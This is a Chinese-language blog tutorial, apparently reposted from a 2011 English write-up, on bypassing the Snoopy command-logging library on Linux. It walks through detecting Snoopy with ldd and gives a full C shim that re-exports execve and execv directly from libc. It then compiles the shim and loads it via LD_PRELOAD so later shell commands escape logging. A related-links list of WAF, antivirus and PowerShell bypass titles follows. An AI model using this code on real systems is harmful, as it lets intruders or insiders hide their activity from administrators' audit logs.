繞過Snoopy的記錄功能
不講原理,感興趣請看http://blog.rchapman.org/posts/Bypassing_snoopy_logging/,這個只適合老版本核心的Linux
檢視是否有snoopy載入了
ldd `which ls`
輸出類似如下就是snoopy被載入了
[ryan@buggy ~]# ldd `which ls`
/usr/local/lib/snoopy.so (0x00002af2d1210000)
librt.so.1 => /lib64/librt.so.1 (0x00002af2d1412000)
libacl.so.1 => /lib64/libacl.so.1 (0x00002af2d161b000)
libselinux.so.1 => /lib64/libselinux.so.1 (0x00002af2d1822000)
libc.so.6 => /lib64/libc.so.6 (0x00002af2d1a3a000)
libdl.so.2 => /lib64/libdl.so.2 (0x00002af2d1d91000)
libpthread.so.0 => /lib64/libpthread.so.0 (0x00002af2d1f96000)
/lib64/ld-linux-x86-64.so.2 (0x00002af2d0ff3000)
libattr.so.1 => /lib64/libattr.so.1 (0x00002af2d21b1000)
libsepol.so.1 => /lib64/libsepol.so.1 (0x00002af2d23b5000)
檢視日誌可以看到類似如下的內容
[ryan@buggy ~]# tail /var/log/secure
Apr 13 12:03:07 buggy snoopy[19511]: [uid:544 sid:10430 tty:/dev/pts/2 cwd:/home/ryan filename:/usr/bin/ldd]: ldd /bin/ls [uid:544 sid:10430 tty:/dev/pts/2 cwd:/home/ryan filename:/usr/bin/ldd]: ldd /bin/ls
建立bypass.c
/*
* Proof of concept to bypass snoopy logging
*
* Many parts of the code came directly from the snoopy source itself.
*
* Ryan A. Chapman
* Wed Apr 13 13:28:10 MDT 2011
*/
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <sys/types.h>
#include <syslog.h>
#include <string.h>
#include <errno.h>
#if defined(RTLD_NEXT)
# define REAL_LIBC RTLD_NEXT
#else
# define REAL_LIBC ((void *) -1L)
#endif
#define FN(ptr,type,name,args) ptr = (type (*)args)dlsym (REAL_LIBC, name)
#define FN_HANDLE(handle, ptr,type,name,args) ptr = (type (*)args)dlsym (handle, name)
int execve(const char *filename, char *const argv[], char *const envp[])
{
Dl_info info;
void *handle = dlopen("/lib64/libc.so.6", RTLD_NOW|RTLD_LOCAL);
if(handle == NULL)
handle = dlopen("/lib/libc.so.6", RTLD_NOW|RTLD_LOCAL);
static int (*func)(const char *, char **, char **);
FN_HANDLE(handle,func,int,"execve",(const char *, char **, char **));
return (*func) (filename, (char**) argv, (char **) envp);
}
/* Put the libc version of execv back in place */
int execv(const char *filename, char *const argv[])
{
Dl_info info;
void *handle = dlopen("/lib64/libc.so.6", RTLD_NOW|RTLD_LOCAL);
if(handle == NULL)
handle = dlopen("/lib/libc.so.6", RTLD_NOW|RTLD_LOCAL);
static int (*func)(const char *, char **);
FN_HANDLE(handle,func,int,"execv",(const char *, char **));
return (*func) (filename, (char **) argv);
}
編譯
gcc -nostartfiles -shared -O3 -fomit-frame-pointer -fPIC bypass.c -obypass.so -ldl
載入模組
export LD_PRELOAD=/full/path/to/bypass.so
/bin/bash
之後的操作就不會被snoopy記錄了。所以snoopy的作者是反對將其用來做安全審計工作的。
相關文章
- PHP繞過open_basedir列目錄的研究PHP
- js繞過-前端加密繞過JS前端加密
- 使用DLL注入繞過“受控制的資料夾訪問”功能
- 用“稽核物件”功能記錄檔案刪除記錄物件
- md5繞過
- 修改登錄檔繞過趨勢防火牆解除安裝密碼防火牆密碼
- powershell程式碼混淆繞過
- sqlmap常用繞過指令碼SQL指令碼
- 【記錄】SSH分頁查詢功能
- Rust 實現日誌記錄功能Rust
- Webscan360的防禦與繞過Web
- 淺談繞過WAF的數種方法
- 實現使用者的歷史記錄功能
- 記錄BW-SGWIN原始碼信用盤盤口功能搭建部署過程原始碼
- 繞過PowerShell執行策略方法
- 淺談利用session繞過getshellSession
- 手把手繞過安全狗
- Java安全之JNI繞過RASPJava
- frida反除錯繞過除錯
- Nmap繞過防火牆掃描防火牆
- 第五章-WAF 繞過
- percona server5.6新功能記錄Server
- vba之小功能記錄--資料另存
- Flutter專案整合mqtt的過程記錄FlutterMQQT
- 記錄下實踐過的演算法演算法
- 查詢SQLSERVER執行過的SQL記錄SQLServer
- Spring基於註解的環繞通知實現請求方法日誌記錄Spring
- 教你一種繞過谷歌禁止反射的方法谷歌反射
- 雙因素認證繞過的釣魚工具
- 安全專家成功山寨AirTag 向蘋果證明可繞過追蹤保護功能AI蘋果
- update誤操作後 通過undo記錄的scn找回原紀錄
- MYSQL Group Replication搭建過程記錄MySql
- Windows下cmd/powershell命令混淆繞過Windows
- 檔案包含漏洞(繞過姿勢)
- 繞過應用程式白名單技巧
- 小程式繞過 sign 簽名
- 記錄一個前端bug的解決過程前端
- 記錄下學習使用kratos的過程一